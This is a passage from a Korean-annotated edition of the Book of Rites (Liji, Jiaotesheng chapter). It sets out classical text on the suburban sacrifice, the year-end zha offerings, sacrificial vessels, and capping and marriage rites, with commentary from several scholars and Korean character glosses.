受敎諫之義也라.\n[延平周氏曰郊之禮歲有常而卜之必受命於祖廟者先王一擧事未嘗不禀受於鬼神也受命必於祖作龜必於禰者先王之於祖則致其義 義則尊之而於禰則盡其仁 仁則親之故也 澤宮擇助祭者之所故冢宰於此誓命其助祭者而王亦親聽之蓋示其君之於臣其上則有所受敎而其下則受諫而已]\n20-7. 獻命庫門之內는 戒百官也요, 大廟之命은 戒百姓也라.[569-1]\n有司이 獻王所以命百官之事이어든 王이 乃於庫門內에 集百官而戒之하고 又於大廟之內에 戒其族姓之臣也라.\n[嚴陵方氏曰以一人之尊亦親聽誓命則以嚴上故也聚衆而誓非爲王也特助祭者爾而王亦親聽之故有受敎諫之義百官授之以官者群臣之謂也百姓賜之以姓者諸侯之謂也諸侯親而尊故於大廟戒之百官疏而卑故於庫門戒之]\n20-8. 祭之日에 王이 皮弁하야 以聽祭報는 示民嚴上也요, 喪者이 不哭하며 不敢凶服하며 氾[泛]掃[去聲]反道하며 鄕爲田燭은 弗命而民이 聽上이니라.[569-2]\n祭報은 報白日時早晩과 及牲事之備具也요, 汜掃는 洒水而後掃也요, 反道는 剗道路之土니 反之하야 令新者이 在上也요, 卿은 郊內六卿也니 六卿之民이 各於田首에 設燭照路하야 恐王行事之早也라. 喪者不哭以下諸事는 皆不待上令而民自聽從이 蓋歲以爲常也라.\n[延平周氏曰祭報祭之日宗伯報王以行禮也以眡(視)朝之服而聽宗伯之報所以示民嚴上也喪者不哭不敢凶服所以異其吉汜掃反道所以去其舊鄕爲田燭所以尙其質]\n[洒:물뿌릴사.엄숙할선,닦을쇄]\n20-9. 祭之日에 王이 被袞以象天하나니,[570]\n象天은 謂有日月星辰之章也라. ○陳氏이 曰, 合周官禮記而考之하면 王之祀天에 內服大裘하고 外被龍袞하니 龍袞은 所以襲大裘也라.\n20-10. 戴冕璪[藻]十有二旒는 則天數也요, 乘素車는 貴其質也요, 旂十有二旒하며 龍章而設日月은 以象天也니 天이 垂象聖人이 則之하나니 郊는 所以明天道也라.[571]\n璪은 與藻로 同이요, 素車는 殷之木路也라. 旂之旒與冕之旒는 皆取垂下之義라. 餘見前하니라.\n[嚴陵方氏曰 龍也 日月也 數也 質也 皆天之所示之象也而聖人觀之以爲儀物之則故曰天垂象聖人則之以天道遠而難知神而莫測 故郊之儀物必觀象而作焉則 所以明之也 故曰郊所以明天道也]\n[○長樂陳氏曰夫先王祀天有文以示外心之勤有質以示內心之敬 故因丘掃地陶匏稾秸疏布樿杓素杓素車之類此因其自然以示內心之敬者也 執鎮圭繅藉五采五就旂龍章而設日月四圭有邸八變之音黃鐘大呂之鈞此致其文飾以示外心之勤者也 然則內服大裘以因其自然外被龍袞戴冕藻以致其文飾不以內心廢外心不以自然廢文飾然後事天之禮盡矣]\n[璪:면류관드림옥조][藻:마름조][旒:면류관술류][旂:용대기][稾:볏집고,초잡을고][秸:짚고갱이갈][樿:전나무전][杓:구기작][鎮:진정할진,누를진(安壓)][繅:고치켤소,옥받침비단조][藉:깔개자,핌계자][邸:사저저,귀인집]\n20-11. 帝牛이 不吉이어든 以爲稷牛하나니 帝牛는 必在滌三月이요, 稷牛는 唯具니 所以別事天神與人鬼也라. 萬物이 本乎天하고 人이 本乎祖니 此이 所以配上帝也라. 郊之祭也는 大報本反始也니라.[572]\n郊祀后稷以配天이라. 故,祭上帝者를 謂之帝牛요, 祭后稷者를 謂之稷牛라. 滌者는 牢中淸除之所也니 此二牛이 皆在滌中이라. 爲는 猶用也니 若至期하야 卜牲不吉하니 或有死傷이어든 卽用稷牛하야 爲帝牛而別選稷牛也라. 非在滌三月者는 不可爲帝牛라. 故,以稷牛로 代之하니 稷은 乃人鬼라. 其牛를 但得具用이 足矣라. 故,云稷牛이 唯具라. 人이 本乎祖라. 故,以祖配帝하니 是는 郊之祭이 乃報本反始之大者이니라.\n[嚴陵方氏曰謂之滌則以精潔爲義唯具則取足而已不必三月之滌也充人掌繫祭祀之特牲五帝則繫於牢芻之三月饗先王亦如之則人鬼之牲亦芻之三月矣此止曰唯具者蓋芻之三月以祀天神爲稱人鬼則如之而已故有時而唯具亦可也帝爲天神稷爲人鬼]\n[○延平周氏曰孝經曰郊祀后稷以配天宗祀文王於明堂以配上帝是祖之所配於圜丘者昊天而考之所配於明堂者上帝此言萬物本乎天人本乎祖而反言配上帝何也天言其體帝言其用故對而言則天與帝異離而言則帝卽天也天卽帝也易之象曰先王以作樂崇德殷薦之上帝以配祖考其言上帝與此同意]\n[○嚴陵方氏曰萬物皆天之所生而人則祖之所生如是則祖與天合矣故推祖以配天故曰此所以配上帝人物所本如此安可以不知報本而反始哉 故言郊之祭大報本反始也]\n21-1. 天子이 大蜡[乍]이 八이니 伊耆[其]氏이 始 爲蜡하시니 蜡也者는 索[色窄反]也니 歲十二月에 合聚萬物而索饗之也니라,[574]\n蜡은 祭八神이니 先嗇이 一이요, 司嗇이 二요, 農이 三이요, 郵表畷이 四요, 貓虎이 五요, 坊이 六이요, 水庸이 七이요, 昆蟲이 八이요, 伊耆氏는 堯也라. 索은 求索其神也요, 合은 猶閉也니 閉藏之月에 萬物이 各已歸根復命일새 聖人이 欲報其神之有功者라. 故,求索而享祭之也니라.\n[長樂陳氏曰蜡之爲祭所以報本反始息老送終也其服王玄冕而有司皮弁素服葛帶榛杖其牲體疈辜其樂六樂而奏六變吹豳頌擊土鼓舞兵舞帗舞其所致者川澤山林以至地示天神莫不與焉則合聚萬物而饗之者非特八神也而所重者八以其尤有功於田故也其神之尊者非特先嗇也而主先嗇者以其始有事於田故也○馬氏曰萬物之所以成者神有以相功於其幽民有以致力於其明神有功以相其幽則報之民有力以致其明則勞之所謂百日之蜡一日之澤是也]\n[蜡:쉬파리서,납향제사(年冬祭名)사][乍:잠깐사,언듯,얼핏][窄:좁을착,닥치다.끼다][嗇:아낄색,거둘색][畷:][貓:고양이묘][坊:동네방][庸:수고용,구실]\n21-2. 蜡之祭也는 主先嗇而祭司嗇也니 祭百種[上聲]은 以報嗇也니라.[575]\n嗇은 與穡으로 同하니 先嗇神農也요, 主는 如前章主日之主이니 言爲八神之主也라. 司嗇은 上古后稷之官이요, 百種은 司百穀之種之神也요, 報嗇은 謂報其敎民樹藝之功이라.\n[馬氏曰先嗇者其智足以剏物立於其先司嗇者因其成法而謹司其職而已故祭則以先嗇爲主而以司嗇配之]\n[穡:거둘색,수확][剏:처음창,비롯함.刱의 俗字.創通字]\n21-3. 饗農及郵表畷[株劣反]禽獸는 仁之至며 義之盡也니라.[576]\n農은 古之田畯이니 有功於民者요, 郵者는 郵亭之舍也니 標表田畔相連畷處하야 造爲郵舍하고 田畯居之하야 以督耕者라. 故,謂之郵表畷이요, 禽獸는 貓虎之屬也라.\n[畯:농부준,권농,俊][郵:역참우][畷:밭사이길체]\n21-4. 古之君子이 使之인댄 必報之하나니 迎貓는 爲[去聲]其食田鼠也요, 迎虎는 爲其食田豕也요, 迎而祭之也하나니라. 祭坊[防]與水庸은 事也라.[577]\n田鼠,田豕이 皆能害稼라. 故,食之者이 爲有功하니 迎者는 迎其神也요, 坊은 隄也니 以蓄水하고 亦以障이요,水庸은 溝也이니 以受水하고 亦以洩水니 皆農事之備라. 故,曰事也라. 眉山蘇氏이 以爲迎貓則 爲貓之尸하고 迎虎則 爲虎之尸이 近於倡優所爲라. 是以子貢言一國之人이 皆若狂也라 하니라.[洩:샐설.훨훨날예,퍼지다]\n[嚴陵方氏曰 上言祭 下言饗 互相備也 百種百穀之種也 百種乃嗇之所成 故祭百種以報嗇也 農則致所掌以養人而不失其時者也 郵則田官於此有所識畷則 田官於此有所聯 皆督約農事之處也 故三者合爲八蜡之一焉 鼠之與豕皆足以爲田之害而貓與虎能食而除之迎其靈而祭之則所以報之也]\n[○延平周氏曰索饗及於禽獸可謂仁之至義之盡也 盡於義然後至於仁 故於仁言至義言盡 君子之於物莫不各因其才而使之雖使之甚勞亦必有以爲之報此使人之術與忠厚之道常見於祭祀之間也 坊與水庸以其有事於我故祭之]\n21-5. 曰호대 土이 反其宅하며 水이 歸其壑하며 昆蟲이 毋[無]作하며 草木이 歸其澤이라 하니라.[578-1]\n此는 祝辭也라. 宅은 猶安也니 土安則,無崩圯하고 水歸則,無泛溢이요, 昆蟲은 謂螟蝗之屬이니 害稼者요, 作은 起也라. 草木이 各歸根於藪澤하야 不得生於耕稼之土也라.\n[圯:흙다리이][藪:큰늪수.藪澤:초목이 우거진 큰 늪]\n21-6. 皮弁素服而祭하나니 素服은 以送終也요, 葛帶榛杖은 喪殺[色介反]也니 蜡之祭는 仁之至며 義之盡也니라.[578-2]\n物之助成歲功者이 至此而老하니 老則,終矣라. 故,皮弁素服葛帶榛杖以送之는 喪禮之殺也니 此爲義之盡이요, 祭報其功則,仁之至也라. 周禮籥章에 云,國祭蜡則,龡豳頌擊土鼓하야 以息老物이라 하니라.\n21-7. 黃衣黃冠而祭는 息田夫也니 野夫이 黃冠하나니 黃冠은 草服也라.[579]\n月令에 臘先祖五祀하며 勞農以休息之라 하니 此祭이 是也라. 黃冠이 爲草野之服은 其詳을 未聞이라.\n[嚴陵方氏曰水土昆蟲草木此皆因其合聚之時而合聚以饗之故祝者之辭言其時事如此皮弁則其色白素服則衣裳皆素 素者送終之服而蜡亦送終之事故曰以送終也別言之則服止言衣裳合言之則弁亦服爾 故下止言素服也帶不以麻而以葛杖不以竹而以榛若喪也而實非喪故曰喪殺也旣非喪必欲若喪者以其有送終之義故也前言皮弁素服後言黃衣黃冠而祭說者謂皮弁素服爲主祭者之服黃衣黃冠爲助祭者之服是矣其言野夫黃冠則爲助祭者之服可知且皮弁素服則以送終爲義黃衣黃冠則以息田夫爲義送終者祭之道也息田夫者祭之事也夫黃者土之色百昌生於土而作終亦反於土而息冬則反於土之時也服以是色亦宜矣土爰稼穡者田夫之事取土之義以息田夫又宜矣以土之義如此故凡野夫皆黃冠焉野夫卽田夫也言其所事曰田夫言其所居曰野夫草服謂草野之服故下言草笠以爲野也上兼言黃衣而下止言黃冠則以草服該之故也然籥章曰息老物此曰息田夫者蓋作之於始息之於終雖人之情亦是道也道終則有始今歲之息乃所以兆來歲之作息猶氣之息也往來未嘗息乃所以爲息也]\n[○馬氏曰蜡者於歲之終報其成功又以祈來歲之始故祝之之辭如此草木者荑稗之屬王皮弁素服而祭所以送萬物之終也萬物之肅殺而王葛帶榛杖者以喪禮處之也盖萬物生有以養人而終不可不報亦示其不忘本也故曰仁之至義之盡]\n[榛:개암목진,덤불,잡목,우거지다][蜡:납향제사,쉬파리처][籥:피리약][龡:불취(吹本字)][豳:國名빈][頌:기릴송,문체명][荑:흰비름이,베다(芟刈)][稗:피패]\n22-1. 大羅氏는 天子之掌鳥獸者也니 諸侯貢屬焉하니 草笠而至는 尊野服也라.[581-1]\n諸侯이 鳥獸之貢屬을 大羅氏之掌이라. 其使者이 戴草笠은 是尊野服이라.\n22-2. 羅氏致 鹿與女하고 而詔客告也하니 以戒諸侯曰호대 好田好女者는 亡其國이라 하나니라.[581-2]\n鹿者는 田獵所獲이요, 女則,所俘於亡國者요, 客은 貢使也라. 使者이 將返에 羅氏이 以鹿與女로 示使者하야 以王命詔之하야 使歸告其君而以王言戒之曰호대 好田獵好女色者는 必亡其國이라하니 舊說이 如此이나 然,鹿可歲得而亡國之女는 不恒有라. 其詳을 未聞也이로다.\n[嚴陵方氏曰致鹿則所以戒好田致女則所以戒好女五子述大禹之戒曰內作色荒外作禽荒有一于此未或不亡則好田好女者固足以亡其國而可爲戒也羅氏之戒好田則是矣而又戒好女者以其皆陰事故也]\n22-3. 天子이 樹瓜華는 不斂藏之種[上聲]也라 하나니라.[582]\n瓜華는 瓜與果蓏之屬也니 天子이 所種者는 瓜華니 供一時之用而已요, 不是收斂久藏之種也라. 若可收斂久藏之物則,不樹之는 惡與民爭利也니 此亦令使者로 歸告戒其君之事라.\n[長樂劉氏曰四方諸侯當仲冬而遇于天子者必助其祭祀也故其爲蜡而獵莫不從焉貢其禽於天子則大羅氏受之獻禽者諸侯之卿大夫也草笠而至尊野服者以明諸侯及其臣皆野服馳騁從禽以助王也其爲忠義亦可尊矣卽之以爲禮焉旣受草笠之獻則致鹿與女于庭而詔獻禽之客俾還告于其君以申天子之戒勸也曰好遊田以肆其禽荒者好女色以肆其情欲者亡國之道天子之所不赦也華果蓏也瓜及果蓏時鮮之物不可以自遠而致之也不可以收斂而藏之也天子乃樹植之所以貴時新供寢廟非貪其利而種之焉亦戒諸侯毋廣樹植務收斂以奪其民之利非絜矩示民之道也]\n[○馬氏曰好田好女不斂藏之種者戒其貪也其意以謂民有終歲之勞而有一日之佚而爲之上者豈可以好樂無厭而淫慝不倦乎其意以謂有終歲之勤而有一時之積而爲之上者豈可以好貨無厭而貪利無已乎]\n[瓜-瓜年:女至婚期][蓏:胡瓜라][騁:달릴빙][絜:조촐할결,끌계][佚:편안일,佚樂.방탕할질,佚蕩:헐렁거림][慝:사특특]\n22-4. 八蜡以記四方하나니 四方이 年不順成이어든 八蜡이 不通은 以謹民財也요, 順成之方에는 其蜡이 乃通은 以移[去聲]民也라. 旣蜡而收이어든 民息已니 故로 旣蜡하고 君子이 不興功하나니라.[584]\n記四方者는 因蜡祭而記其豊凶也라. 蜡祭之禮를 列國이 皆行之니 若其國이 歲凶則,八蜡之神을 不得與諸方으로 通祭는 所以使民으로 之謹於用財하야 不妄費也라. 移者는 寬縱之義이니 蓋歲豊則,民財이 稍可寬舒用之也라. 黨正이 屬民飮酒하야 始雖用禮나 及其飮食醉飽則,亦縱其酣暢爲樂이니 夫子所謂,一日之澤이 是也라. 農民이 終歲勤動而於此時에 得一日之樂하니 是는 上之人이 勞農之美意也라. 旣蜡之後에 收斂積聚하야 民皆休息이라. 故,不興起事功也이니라.\n[長樂劉氏曰九州之諸侯保育其民者也各視其年之豊凶則蜡之祭有行與不行焉所以謹民財不以祭祀傷其衣食也順謂五氣時若成謂九穀皆登順成之方其蜡乃通者以答百神所以致豊穰之勞也]\n[○嚴陵方氏曰記四方者記四方之豊凶也年不順成八蜡不通此以蜡而記其凶也順成之方其蜡乃通此以蜡而記其豊也蜡乃合聚之祭故因其合聚而收之也物旣收則民亦息民息則一歲之事已矣故曰民息已前言息田夫此言民息互相備也功者民力之所致民息已故旣蜡君子不興功且蜡本以息農夫則此所言功止謂農功爾若夫宮功則執於建亥之月土功則畢於建子之月武功則纘於建丑之月而旣蜡君子未始不興功焉]\n[○延平周氏曰蜡之所以不通者謹民財也謹猶言節也蜡之所以通者斂民之所有餘而共其祭也旣蜡則歲終矣萬物皆收成而百工皆告休故曰旣蜡而收民息已] [稍:점점초,조금][酣:술즐길감][穰:짚양,풍년,넉넉][纘:이을찬.모을찬]\n23-1. 恒豆之菹[玆居反]는 水草之和氣也요, 其醢는 陸産之物也요, 加豆는 陸産也요, 其醢는 水物也니라.[586]\n恒豆는 每日常進之豆也라. 周禮에 醢人所掌朝事之豆註에 謂,淸朝未食에 先進口食也라. 菹는 酢菜也요, 水草는 昌本茆菹之類라. 加豆는 周禮註에 謂尸旣食后에 亞獻에 尸所加進之豆라. 但醢人所掌은 是天子之禮니 此言,諸侯之禮는 物旣不同이라. 此이 朝事之豆,與祭禮饋食薦孰之豆로 俱爲恒豆而加豆則,祭末酳尸所用也라. 水物은 若蠃醢魚醢이 是也니 菹醢를 皆以豆盛之라.\n[嚴陵方氏曰恒豆謂所常進之豆加謂於所常進而有加者以恒而對加則加爲暫以加而對恒則恒爲朝事饋食矣菹淹菜也 醢肉醬也 上言恒豆之菹則知加豆之陸産亦菹也 上言陸産之物則知下言水物卽水産也 上言水草之和氣則知下之所言皆和氣也]\n[茆:순채류(鳧葵蓴菜草)][菹:푸서리저][淹:담글엄,빠맂엄][醢:젓갈해][醬:간장,된장장,젓갈][饋궤:餉,進食於尊][酳:술로 입헹굴인]\n23-2. 籩豆之薦은 水土之品也니 不敢用常褻味而貴多品은 所以交於神明之義也라. 非食味之道也니라. 先王之薦은 可食也 而不可耆[嗜]也며 卷[袞]冕路는 車可陳也 而不可好[去聲]也며 武壯而不可樂[洛]也며 宗廟之威 而不可安也며 宗廟之器可用也 而不可便其利也니 所以交於神明者이 不可同於所安樂之義也니라.[587]\n不可耆는 謂食之有節하야 不可貪愛이니 舊說에 謂,質而無味하야 不能悅口요, 不可好는 謂,尊嚴之服器를 不可以供玩愛요, 武는 萬舞大武也니 以示壯勇之容하니 不可常爲娛樂이요, 宗廟威嚴之地에 不可寢處以自安이요, 宗廟行禮之器를 不可利用하야 以爲便은 交神明之義이 如此라.\n[嚴陵方氏曰常所食者則褻而不敬 故謂之常褻味交於神明者在誠而不在味 故曰非食味之道也 義言其所宜 道言其所由篇首言籩豆之實 此言薦者實言實之於中薦言薦之於上 又曰水土之屬謂若籩豆之實水土之品可食之以爲禮而不可供耆慾之求卷冕龍袞也路車卽大路也 可陳之以爲儀而不可資玩好之用武舞執干戚以爲勇壯之容而非所以樂其情焉 宗廟奉鬼神以示威靈之居而非所以安其身焉祭器不若燕器之利而便於用安樂者謂所安而樂之也若可耆可好之類是矣 此言先王之薦可食而不可耆則知後之所言玄酒明水與夫大羹皆不可耆言路車可陳而不可好則知素車之乘亦不可好也 言宗廟之器可用而不可便其利則知疏布幕與夫蒲越槀鞂皆不可便其利也前總其略後別其詳]\n[耆:늙은이기][嗜:즐길기][蒲창포(부둘)포][槀:마를고,마른나무,마른고기][鞂:볏집거적갈]\n23-3. 酒醴之美에 玄酒明水之尙은 貴五味之本也요, 黼黻文繡之美에 疏布之尙은 反女功之始也요, 莞簟之安에 而蒲越[活]稾鞂之尙은 明之也요, 大羹을 不和는 貴其質也요, 大圭를 不琢은 美其質也요, 丹漆雕幾[祈]之美에 素車之乘[去聲]은 尊其樸也니 貴其質而已矣라. 所以交於神明者이 不可同於所安褻之甚也니 如是而后라야 宜니라.[589]\n未有五味之初에 先有水라. 故,水爲五味之本이요, 未有黼繡에 先有麤(麄)布라. 故,疏布爲女功之始라. 周禮司烜氏이 掌以鑒取明水於月은 盖取其潔也라. 明之는 昭其禮之異也요, 雕는 刻鏤之也요, 幾는 漆飾之요, 畿는 限也요, 安褻之甚은 言,甚安甚褻也요, 宜는 猶稱也라. 餘竝見前하다.\n[張子曰明水飮之祖毛血食之祖所以反始也]\n[○嚴陵方氏曰夫味以淡爲本感於鹹作於酸化於苦窮於甘變於辛玄酒明水則淡而無味故曰貴五味之本也黼作斧形其色則白與黑黻則兩已相弗其色則黑與靑靑與赤謂之文赤與白謂之章以天地之文作於東南成於西南故也繢則五采之所會繡則五采之所刺言文則章可知言繡則繢可知是皆色之美者也布之精者升多而密粗者升少而疏女功之作始於粗久而後至於精故揚雄曰霧縠之組麗女功之蠧矣以疏布之尙故曰反女功之始也明之也者謂其潔著之也若玄酒明水之類莫非明之也於蒲越稾鞂言之者以其無餘義故也味之貴者莫如淡大羹則以淡爲質而已物之美者莫如玉大圭則以玉爲質而已素車之乘卽前所謂乘素車是也尊無非貴也樸無非質也故下總而言之則曰貴其質而已矣前曰不可同於所安樂之義此曰不可同於所安褻之甚樂猶有義焉褻則甚矣]\n[黼黻:王下衣袞裳亞繡禮服][莞:왕골완][蒲:부들][稾鞂:고갈][琢:닦다][漆:옷칠][雕:독수리,새기다.시들다][樸:통나무박,순박할박][烜(훤):마르다,말리다,밝다.빛나다][鑒=鑑][鏤아로새길루,쇠장식루][酸:실산][繢:수놓을궤][縠:주름진깁궤,고운비단][蠧:좀두,나무굼벵이두,蠹同]\n23-4. 鼎俎이 奇而籩豆이 偶는 陰陽之義也라. 黃目은 鬱氣之上尊也니 黃者는 中也요, 目者는 氣之淸明者也니 言酌於中而淸明於外也니라. [592]\n黃目은 黃彛也니 卣罍之類라. 以黃金으로 鏤其外하야 以爲目하니 因名焉이라. 用貯鬱鬯之酒하야 有芬芳之氣라. 故,云.鬱氣요, 中은 中央之色也라. 奇偶는 見前하다.\n[延平周氏曰司尊彝之職秋嘗冬烝裸用斚(斝)彞黃彞黃彞卽黃目鬱氣之上尊也盖萬物之於冬則反於土而復於本反於土則終矣故飾用黃復於本則可以自見故飾用目然周禮謂之彞此謂之尊何也蓋以彞對尊則彞爲常尊爲變以尊對彞則尊爲尊彞爲卑及離而言之則尊與彞一也]\n[○嚴陵方氏曰目之精水也其光火也以水爲體故其氣淸以火爲用故其氣明鬱在中而以瓚酌之蓋酌於中也直達於外焉蓋淸明於外也夫孝子將祭虛中以治之此非酌於中之義乎至於不御內不聽樂不飮酒不茹葷此非淸明於外之義乎]\n[卣:중술통유][罍:술(잔)통뢰][鏤:아로새길루][鬯:울창술창][茹먹을여,잔디뿌리,꼭두서니,마시다][葷:냄새강한풀훈][斚옥잔가(斝)][瓚:옥술잔찬,큰홀찬.玉瓚:종묘제에 땅주뜨는器]\n23-5. 祭天호대 掃[去聲]地而祭焉은 於其質而已矣요, 醯醢之美에 而煎鹽之尙은 貴天産也요, 割刀之用에 而鸞刀之貴는 貴其義也니 聲和而後에 斷[上聲]也니라.[593]\n鹽은 以煎鍊而成이라. 故,曰煎鹽이요, 必用鸞刀者는 取其鸞鈴之聲이 調和而後에 斷割其肉也요, 貴其義는 是貴聲和之義라.\n[嚴陵方氏曰鹽非煎以鍊治之則不成故謂之煎鹽天官鹽人之所掌祭祀共其苦鹽散鹽然醯人醢人所共未嘗不以祭祀爲主則醯醢之美祭祀非不用也特非其所尙爾夫刀能制斷莫非義也獨鸞貴其義者貴其義之和而已]\n[○長樂陳氏曰和非斷則牽斷非和則劌故天以秋肅物而和之以兑聖人以義制物而和之以仁鸞刀以和濟割亦此意也]\n[醯:신맛혜][煎:달일전,졸이다,끓다][鹽:소금,자반,절임][鸞:난새란][鸞鈴:천자마차에달린방울][劌:상처입을귀]\n24-1. 冠[去聲]義에 始冠之호대 緇布之冠也니 大古에 冠布러니 齊[側皆反]則緇之하더라. 其緌[如追反]也는 孔子ㅣ曰호대 吾未之聞也러니 冠而敝之이 可也라하시다.[594]\n冠義는 言,冠禮之義也라. 冠禮三加에 先加緇布冠하니 是는 太古齊時之冠也라. 緇布爲之하야 不用笄하고 用頍以圍髮際而結於項中하야 因綴之하야 以固冠耳요, 不聞有垂下之緌也라. 此冠을 後世에 不復用而初冠에 暫用之不忘古也니 冠禮旣畢則敝棄之可矣라. 玉藻에 云,緇布冠繢緌라 하니 是는 諸侯位尊하야 盡飾故也라. 然이나 亦後世之爲耳라. ○石梁王氏이 曰, 冠一段은 當附冠義이니라.\n[延平周氏曰齊則緇之以幽思也末世緇布冠加之以緌孔子以爲吾未之聞然非天子不議禮雖孔子亦不得不從當世之所尙則冠之加緌雖非禮但冠而棄之可也故曰冠而敝之可也 蓋敝有棄意]\n[齊緇緌敝笄頍]\n24-2. 適[的]子冠於阼는 以著代也요, 醮於客位는 加有成也요, 三加彌尊은 喩其志也요, 冠而字之는 敬其名也라.[595]\n著代는 顯其爲主人之次也라. 酌而無酬酢曰醮요, 客位는 在戶牖之間이요, 加有成은 加禮於有成之人也라. 三加는 始冠緇布冠하고, 次加皮弁하고, 又次加爵弁也요, 喩其志者는 使其知廣充志意하야 以稱尊服也라. 此는 適子之禮니 若庶子則冠於房戶外南面하고 醮亦戶外也라. 夏殷之禮에 醮用酒호대 每一加而一醮하고, 周則用醴호대 三加畢에 乃總一醴也라.\n[嚴陵方氏曰冠者成人之服阼者主人之階成人則將代父而爲之主故冠於阼以著代著則所以明之也醮則以酒澤之也每一加則一醮蓋酒所以饗賓客之物故醮於客位冠於阼則是以主道期之也醮於客位則是以賓禮崇之也以其有成人之道故以是禮加之故曰加有成也然緇布之粗不若皮弁之精皮弁之質不若爵弁之文故曰三加彌尊服彌尊則志宜彌大故曰喩其志也以冠禮考之非特冠彌尊而衣也屨也亦彌尊非特衣屨彌尊至於祝辭醮辭亦然所以喩其志則一而已]\n[牖:들창,바라지][屨:신구][弁:고깔변]\n24-3. 委貌는 周道也요, 章甫는 殷道也요, 毋[牟]追[堆]는 夏后氏之道也니라.[597]\n委貌.章甫.毋追는 皆緇布冠이니 但三代之易名不同而其形制이 亦應異耳라. 是皆先王制禮之道라. 故,皆以道로 言之라. 委貌는 卽玄冠이니 舊說에 委는 安也니 言,所以安正容貌요, 章은 明也이니 所以表明丈夫요, 毋는 發聲之辭요, 追는 猶椎也니 以其形名之라. 此一條는 是論三加始加之冠하다.\n[堆:흙무더기퇴,쌓을퇴,싸이다.놓다(그만두다)][椎:뭉치추,방망이,치다.순박,어리석다]\n24-4. 周는 弁이요, 殷은 冔[?]요, 夏는 收러니,[597-2]\n周之弁,殷之冔,夏之收이 各是.時王所制以爲三加之冠이라. 舊說에 弁名이 出於槃하니 槃은 大也요, 冔名이 出於幠하니 幠는 覆也요, 收는 所以收斂其髮也이니 形制는 未聞이라.\n[冔:殷冠후,覆也][槃:쟁반반]\n24-5. 三王이 共皮弁素積이니라.[598]\n皮弁은 以白鹿皮爲之하고 其服則十五升之布也니 白與冠同하야 以素爲裳而辟積其要中이라. 故,云,皮弁素積也니 三代에 皆以此爲再加之冠服이라.\n[延平周氏曰委貌章甫冔收命以意毋追與弁命以形三代不同者所以趣時也皮弁素積三代共之者立本也蓋皮弁素積上古之服]\n[○嚴陵方氏曰委貌章甫毋追卽初加之緇布冠是矣弁冔收卽三加之爵弁是矣皮弁素積卽再加之皮弁是矣周尙文故曰委貌周道也皮弁則以白鹿皮爲之素積則以素爲裳言裳則衣可知裳必疊幅故謂之積服其服將以行是道故每以道言之] [疊:거듭첩][幅:폭폭]\n24-6. 無大夫冠禮而有其昏禮하니 古者에 五十而後에 爵이라하니 何大夫冠禮之有리오? 諸侯之有冠禮는 夏之末造也니라.[599]\n諸侯大夫之冠을 一如士禮行之하니 下章所謂,無生而貴者也라. 夏之末造는 言夏之末世所爲耳라.\n[延平周氏曰冠不再昏不一故大夫無冠禮而有昏禮天子之元子其禮猶止於士而已何諸侯冠禮之有特夏之末造也然自夏以降不特諸侯有冠禮而已蓋天子之元子諸侯之世子皆用士之冠禮果元子世子之年未及冠而天子崩國君薨則元子世子亦有君道而復用士禮可乎故玉藻云玄冠朱組纓天子之冠也緇布冠繢緌諸侯之冠也者蓋言此也\n[組:짤조,끈조][繢톱끝궤,그림그릴궤,수놓을궤][緌:갓끈늘어질유]\n24-7. 天子之元子이 士也니 天下에 無生而貴者也니라. 繼世以立諸侯는 象賢也요, 以官爵人은 德之殺[色介反]也라. 死而諡는 今也니 古者엔 生無爵이어든 死無諡하더니라.[600]\n元子는 適長子也니 其冠을 亦行士之冠禮라. 無生而貴는 言有德이라야 乃有位也요, 立諸侯하야 以繼其先世는 以其能法前人之賢行也요, 以官爵人은 必隨其德之大小而爲降殺也요, 死必有諡는 今日之變禮也니 殷以前은 大夫以上이 乃爲爵하고 死則 有諡하고 周制엔 雖爵及命士死이나 不諡也라.\n[嚴陵方氏曰嗣諸侯者有冠禮大夫則無之者蓋諸侯繼世以立大夫以官爵之而不繼世故也諸侯必繼世以立所以象賢大夫不繼世爲其德之殺也]\n[○延平周氏曰繼世以立諸侯象其祖考之賢也官有尊卑德有大小故以官爵人則德之殺也諡有行之迹故古者生有爵則死乃請諡於天子而天子命之諡後世但死則皆有諡蓋未嘗請諡於天子特其自諡耳故曰死而諡今也]\n24-8. 禮之所尊은 尊其義也니 失其義하고 陳其數는 祝史之事也라. 故로 其數는 可陳也어니와 其義는 難知也니 知其義而敬守之는 天子之所以治天下也라.[601]\n先王制禮이 皆有精微之理하니 所謂義也이니 禮之所以爲尊은 以其義之可尊耳요, 玉帛俎豆이 各有多寡厚薄之數하니 數之陳列者는 人皆可得而見이어니와 義之精微者는 不學則,不能知也라. 祝史이 其能知之乎아 中庸에 曰 明乎郊社之禮禘嘗之義면 治國을 其如示諸掌乎인저하니 此는 總結前章冠義以下라.\n[朱子曰此蓋秦火之前典籍備具之時之語固爲至論然非得其數則其義亦不可得而知矣況今亡逸之餘數之存者不能仆一則尤不可以爲祝史之事而忽之也]\n[○延平周氏曰禮之所以爲禮者禮之義也而其禮之爲禮者禮之數也禮之所尊尊其義而非尊其數而已也爲祝史者特知其數耳其數則禮之文而已故可知其義則莫非性命之理故難知果知其義則聖矣天子所以治天下也]\n[○馬氏曰有數有義然後足以爲禮數者義之寓義者數之意而其重尤在於意也先王爲禮未嘗不寓之以微妙之意知其義則擧而錯之天下無難矣]\n25-1. 天地合而后에야 萬物이 興焉하나니 夫昏禮는 萬世之始也며 取於異姓은 所以附遠厚別也라. 幣必誠하며 辭無不腆은 告之以直信이니 信은 事人也며 信은 婦德也니라. 壹與之齊면 終身不改하나니 故로 夫死하야도 不嫁하나니라.[603]\n附遠은 附는 猶託也니 託於遠嫌之義也요, 厚別은 重其有別之禮也요, 幣誠辭腆은 是欲告戒爲婦者이 以正直誠信之行이니 信은 其能盡事人之道며, 信은 其能有爲婦之德也라. 此以下는 言昏禮之義라. ○鄭氏曰 齊는 謂共牢而食이니 同尊卑也라. ○石梁王氏이 曰 昏一段當附昏義.\n[馬氏曰幣者所以將其昏姻之意辭者所以導其昏姻之情幣以將意則不可以不誠辭以導情則不可以不腆腆之言厚也君子無所不用其誠與厚至於昏禮則尤甚焉故曰幣必誠辭無不腆]\n[○嚴陵方氏曰天地合萬物興昏禮之合二姓蓋本於此有夫婦然後有父子父子所以傳世故曰昏禮萬世之始必取異姓所以附遠不取同姓所以厚別且於遠不附則人情無以通於別不厚則人道無以辨昏姻者所以通人情而辨人道而已幣所以將昏姻之意辭所以通昏姻之情辭無不腆者則告之以直故也幣必誠者則告之以信故也故繼言告之以直信以事人者必以信而婦人以事人爲事故信爲婦德也上兼言直而下不釋直者蓋信而無僞則直在其中矣不改則不改而他適也以其不可改故雖夫死不嫁][腆(전):두텁다(厚),많이 